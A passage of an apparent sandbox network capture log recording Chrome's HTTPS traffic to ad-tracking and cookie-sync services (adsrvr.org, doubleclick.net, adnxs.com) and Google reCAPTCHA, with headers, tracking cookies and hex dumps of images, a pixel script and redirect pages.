2024-04-24 12:44:34 UTC	16058	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0e 09 09 08 08 09 12 0d 0d 0a 0e 15 12 16 16 15 12 14 14 17 1a 21 1c 17 18 1f 19 14 14 1d 27 1d 1f 22 23 25 25 25 16 1c 29 2c 28 24 2b 21 24 25 24 ff db 00 43 01 06 06 06 09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 ff c0 00 11 08 02 26 02 26 03 01 11 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 00 07 08 ff c4 00 47 10 00 01 03 02 05 01 06 03 05 07 03 03 02 04 07 00 01 00 02 03 04 11 05 06 12 21 31 41 07 13 22 51 61 71 14 32 81 23 33 42 91 a1 15 Data Ascii: JFIFC!'"#%%%),($+!$%$C$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$&&G!1A"Qaq2#3B
2024-04-24 12:44:34 UTC	16384	IN	Data Raw: 5d 26 cd 0e 06 fe a3 a2 84 80 a7 c5 db 4e 6a 65 99 97 6b 9c db 8b 6e dd b9 ba da 07 2e 4a b2 93 10 aa 8e 18 c1 6b 5b a8 8d ed c3 97 44 22 72 ce 55 d1 5a c8 27 ae 7b 9b 1b 08 8a fc ff 00 85 53 92 89 38 e0 e6 cd 1e 0d 87 88 6c 48 1e eb 8b 24 9b 3d 2c 38 e9 1a 5a 66 86 d8 59 62 d9 d9 15 c1 2a 52 00 68 2a 40 2e 1f 8c 53 e0 55 f4 b5 b3 48 1a d6 3c 72 77 b2 db 06 0c 99 5d 41 59 cf 9b 51 8f 12 b9 ba 3d 35 d9 a3 0e ad 81 95 0c ab 8c c6 f1 70 43 94 4b 14 93 a6 74 43 2c 5a b4 c8 32 67 ac 0e 84 96 3a a5 ae 7f a6 e8 f8 e4 ca 73 48 ce 63 79 a9 b8 a3 da 68 18 e2 f6 b8 10 eb 59 27 89 c7 b0 f9 53 e1 1a 3a 2c 55 d3 d1 c6 e9 76 7d 80 77 ba c9 ae 78 1a 62 cb 54 3a 39 22 8a ea 8a d3 bd ca 71 02 a6 a2 a0 ba ea 88 65 3e 31 30 6d 23 ed cd 95 47 b3 2c 9d 1e 57 30 ef 2b 49 71 e5 Data Ascii: ]&Njekn.Jk[D"rUZ'{S8lH$=,8ZfYbRh@.SUH<rw]AYQ=5pCKtC,Z2g:sHcyhY'S:,Uv}wxbT:9"qe>10m#G,W0+Iq
2024-04-24 12:44:34 UTC	16384	IN	Data Raw: 67 d4 42 52 cd 15 39 3a 8b 46 47 33 e6 2a ec c1 82 43 2e 1d 14 d0 60 34 93 1a 66 b1 a2 cd 1b 78 6f bf 5f fc ba ed d0 e0 ad 45 e6 fd 9f 27 2e b7 2a ff 00 0f b7 0f 11 46 4e 26 00 eb af a9 c7 1a 3e 72 52 62 48 cd 24 9f 34 49 0e 2e c5 85 c0 9b 22 0f 92 66 b8 0a 5b bd c2 b4 89 bb 04 f0 36 24 5e de 4a 64 5c 7e 86 97 6d 6f 98 7f 29 50 df a2 92 07 18 7c 52 77 8c 20 c5 63 a9 a7 96 9f f2 b3 8c 9c 5d fa 34 95 4d 53 ec ec 42 51 dc 5c 1f 55 59 67 c1 3a 78 3d dc 99 5c 4e 67 4d 14 14 8c 37 74 84 0b 7b af 0f 57 36 e3 1c 4b b6 7b fa 68 25 29 65 7e 8b b3 1b 69 a9 e2 a5 8f 86 36 c4 f9 9e ab d3 8c 76 41 41 7a 3c bd db e4 f2 3f 61 a9 e0 b8 e3 f3 5a c6 26 53 c8 4d f0 c2 cb f9 ab ba 47 37 ec ca 9a c9 9c f7 58 2e 4c 93 b3 bf 0c 29 11 a3 21 bd 37 58 ae 0d e4 ac 9d 87 b0 cb 59 03 Data Ascii: gBR9:FG3C.`4fxo_E'.FN&>rRbH$4I."f[6$^Jd\~mo)P\|Rw c]4MSBQ\UYg:x=\NgM7t{W6K{h%)e~i6vAAz<?aZ&SMG7X.L)!7XY
2024-04-24 12:44:34 UTC	1320	IN	Data Raw: 52 b0 12 c5 6d 80 d8 2c e5 03 48 cc 6b 1a 42 4a 05 39 13 63 1e 15 b2 47 34 98 57 b6 ed 55 56 65 17 4c 6d 3c 7f 68 12 8c 4b c9 2e 06 e2 0c 2e 69 1d 14 65 85 a1 e9 e4 93 28 65 88 83 b7 45 e6 cf 19 ea c2 60 9a f7 b3 60 7d d6 3f 1d fa 37 de d2 e0 93 1d 54 ad 03 41 2d 23 c8 f2 a1 e9 e2 fb 45 47 53 28 f4 c9 f0 62 32 bc 86 bc 07 7e 8b 29 78 c8 cf f5 74 6d 1f 27 28 fe c8 96 71 58 19 60 e6 bd 9f aa f3 f3 78 cc 90 eb 93 bb 17 92 c5 35 cf 01 e1 ad a5 9d e3 ed c0 f2 5c 73 c1 38 f6 8e d8 67 c7 27 d9 20 47 4e 0d c4 81 62 e3 2f a3 55 b7 ec 79 a7 88 38 39 b2 02 7d d6 74 fe 8a e0 63 a1 8e e7 7f 5d 8a 39 0a 43 4b 19 b0 16 37 f5 49 a6 1c 7a 10 c2 cb ec d0 36 e9 d5 2b 06 89 58 46 12 6b b1 5a 3a 46 f8 8c f3 35 96 1e 57 5a 63 e6 49 13 35 b5 59 f6 86 0f 4a da 2c 36 9e 06 0b 35 Data Ascii: Rm,HkBJ9cG4WUVeLm<hK..ie(eE``}?7TA-#EGS(b2~)xtm'(qX`x5\s8g' GNb/Uy89}tc]9CK7Iz6+XFkZ:F5WZcI5YJ,65

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49875	18.154.142.121	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:34 UTC	755	OUT	GET /universal_pixel.1.1.0.js HTTP/1.1 Host: js.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.
2024-04-24 12:44:34 UTC	533	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript Content-Length: 488 Connection: close Last-Modified: Fri, 12 Apr 2024 16:30:41 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Server: AmazonS3 Date: Wed, 24 Apr 2024 09:49:03 GMT ETag: "2775054c068b37509e0798448f7fd32c" Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 c9fff1d399146ad5086b24b243b1d7ca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P4 X-Amz-Cf-Id: 6I56vUxJf9By2ywTJq1EXIuF-95q42zQsm1c91WX6DC8jH9yd0moKA== Age: 10714
2024-04-24 12:44:34 UTC	488	IN	Data Raw: 76 61 72 20 54 54 44 43 4d 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 20 7b 20 76 61 72 20 65 20 3d 20 22 69 66 72 61 6d 65 5f 22 20 2b 20 74 68 69 73 2e 6d 61 70 49 6e 64 65 78 2b 2b 2c 20 69 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 20 65 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 6c 6c 6f 77 54 72 61 6e 73 70 61 72 65 6e 63 79 22 2c 20 21 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 2c 20 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 2c 20 30 29 2c 20 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 Data Ascii: var TTDCM = function () { function n(t) { var e = "iframe_" + this.mapIndex++, i = document.createElement("iframe"); i.setAttribute("id", e), i.setAttribute("allowTransparency", !0), i.setAttribute("height", 0), i.setAttribute("width", 0), i.setAttribute(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49880	142.251.2.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:34 UTC	955	OUT	GET /pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=NjljNzcxZTgtYzM5MC00NjA3LWE2NGYtNzUzNzZlNmJmMWRl&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:35 UTC	936	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm=&google_sc=&google_hm=NjljNzcxZTgtYzM5MC00NjA3LWE2NGYtNzUzNzZlNmJmMWRl&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_tc= Date: Wed, 24 Apr 2024 12:44:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 442 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 24-Apr-2024 12:59:35 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:44:35 UTC	319	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 54 68 65 54 72 61 64 65 44 65 73 6b 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 73 63 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm=&google_sc
2024-04-24 12:44:35 UTC	123	IN	Data Raw: 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 74 74 64 5f 74 64 69 64 3d 36 39 63 37 37 31 65 38 2d 63 33 39 30 2d 34 36 30 37 2d 61 36 34 66 2d 37 35 33 37 36 65 36 62 66 31 64 65 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 74 63 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: &gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_tc=">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49879	104.254.148.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:35 UTC	809	OUT	GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:35 UTC	1566	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Wed, 24 Apr 2024 12:44:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3D69c771e8-c390-4607-a64f-75376e6bf1de AN-X-Request-Uuid: 382f0135-38cd-43ee-8f3f-f97380e93129 Set-Cookie: XANDR_PANID=uJKZnyrNrFYaYH_FgIXGwYYPAhtTPV2gvgHqHXYwegu7_cQ1icsNXna-OGNX8n9VCrZ8zbrko533nge8fqjREV4ZGpRMY_cGum3iQfQPgqQ.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 23-Jul-2024 12:44:35 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 12-Apr-2034 12:44:35 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7999698396796766535; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 23-Jul-2024 12:44:35 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 154.16.105.36; 154.16.105.36; 893.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49882	104.254.148.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:35 UTC	1034	OUT	GET /bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3D69c771e8-c390-4607-a64f-75376e6bf1de HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=uJKZnyrNrFYaYH_FgIXGwYYPAhtTPV2gvgHqHXYwegu7_cQ1icsNXna-OGNX8n9VCrZ8zbrko533nge8fqjREV4ZGpRMY_cGum3iQfQPgqQ.; receive-cookie-deprecation=1; uuid2=7999698396796766535
2024-04-24 12:44:35 UTC	1487	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Wed, 24 Apr 2024 12:44:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://match.adsrvr.org/track/cmf/appnexus?ttd=1&anid=7999698396796766535&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de AN-X-Request-Uuid: c4ffe5be-05cb-472c-822b-2ffe370fedef Set-Cookie: XANDR_PANID=uJKZnyrNrFYaYH_FgIXGwYYPAhtTPV2gvgHqHXYwegu7_cQ1icsNXna-OGNX8n9VCrZ8zbrko533nge8fqjREV4ZGpRMY_cGum3iQfQPgqQ.; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 23-Jul-2024 12:44:35 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Wed, 12-Apr-2034 12:44:35 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=7999698396796766535; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 23-Jul-2024 12:44:35 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 154.16.105.36; 154.16.105.36; 893.bm-nginx-loadbalancer.mgmt.lax1.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49884	142.251.2.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:35 UTC	1008	OUT	GET /pixel?google_nid=TheTradeDesk&google_cm=&google_sc=&google_hm=NjljNzcxZTgtYzM5MC00NjA3LWE2NGYtNzUzNzZlNmJmMWRl&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-04-24 12:44:36 UTC	1060	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://match.adsrvr.org/track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_gid=CAESEBEUesOdvpqtWGtPSZ5IcU0&google_cver=1 Date: Wed, 24 Apr 2024 12:44:36 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 386 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUmedmfdefmERUmnkDlsEJmOY_VU_Qgx3DdVX9uQpLUb66_JHbLwn1mw84ND46I; expires=Fri, 24-Apr-2026 12:44:36 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-24 12:44:36 UTC	195	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://match.adsrvr.org/tr
2024-04-24 12:44:36 UTC	191	IN	Data Raw: 61 63 6b 2f 63 6d 66 2f 67 6f 6f 67 6c 65 3f 67 5f 75 75 69 64 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 74 74 64 5f 74 64 69 64 3d 36 39 63 37 37 31 65 38 2d 63 33 39 30 2d 34 36 30 37 2d 61 36 34 66 2d 37 35 33 37 36 65 36 62 66 31 64 65 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 3d 43 41 45 53 45 42 45 55 65 73 4f 64 76 70 71 74 57 47 74 50 53 5a 35 49 63 55 30 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: ack/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de&google_gid=CAESEBEUesOdvpqtWGtPSZ5IcU0&google_cver=1">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49883	3.33.220.150	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:35 UTC	922	OUT	GET /track/cmf/rubicon?gdpr=0 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://match.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSgDMgsI1o_n3uCZ8jwQBUIPIg0IARIJCgV0aWVyMhABWgczbDZkNzU4YAE.
2024-04-24 12:44:36 UTC	556	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:35 GMT Content-Type: image/gif Content-Length: 70 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:35 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwiq0-SxypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSABKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:44:35 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:36 UTC	70	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 81 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 01 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!NETSCAPE2.0!,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49885	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:35 UTC	851	OUT	GET /recaptcha/api2/webworker.js?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: 